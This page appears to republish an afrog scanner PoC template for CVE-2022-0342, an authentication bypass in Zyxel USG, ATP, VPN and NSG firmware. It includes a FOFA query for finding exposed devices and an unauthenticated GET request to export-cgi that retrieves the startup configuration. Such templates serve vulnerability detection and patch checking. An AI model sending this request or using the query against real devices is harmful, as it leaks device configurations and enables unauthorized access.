CVE-2022-0342: Zyxel authentication bypass patch analysis

2025-08-01 Zyxel PoC Public

Description

An authentication bypass vulnerability in the CGI program of Zyxel USG/ZyWALL series firmware versions 4.20 through 4.70, USG FLEX series firmware versions 4.50 through 5.20, ATP series firmware versions 4.32 through 5.20, VPN series firmware versions 4.30 through 5.20, and NSG series firmware versions V1.20 through V1.33 Patch 4, which could allow an attacker to bypass the web authentication and obtain administrative access of the device.

fofa: app="ZyXEL-USG-FLEX"

PoC

id: CVE-2022-0342

info:
  name: Zyxel authentication bypass patch analysis
  author: xpoc
  severity: high
  verified: false
  description: |-
    An authentication bypass vulnerability in the CGI program of Zyxel USG/ZyWALL series firmware versions 4.20 through 4.70, USG FLEX series firmware versions 4.50 through 5.20, ATP series firmware versions 4.32 through 5.20, VPN series firmware versions 4.30 through 5.20, and NSG series firmware versions V1.20 through V1.33 Patch 4, which could allow an attacker to bypass the web authentication and obtain administrative access of the device.
    fofa: app="ZyXEL-USG-FLEX"
  reference:
    - https://security.humanativaspa.it/zyxel-authentication-bypass-patch-analysis-cve-2022-0342/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0342
  tags: zyxel,unauthorized,bypass
  created: 2023/06/23

rules:
  r0:
    request:
      method: GET
      path: /cgi-bin/export-cgi?category=config&arg0=startup-config.conf
    expression: response.status == 200 && response.body.bcontains(b"interface-name") && response.headers["content-type"].contains("text/zyxel")
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2022/CVE-2022-0342.yaml

References

Related Vulnerabilities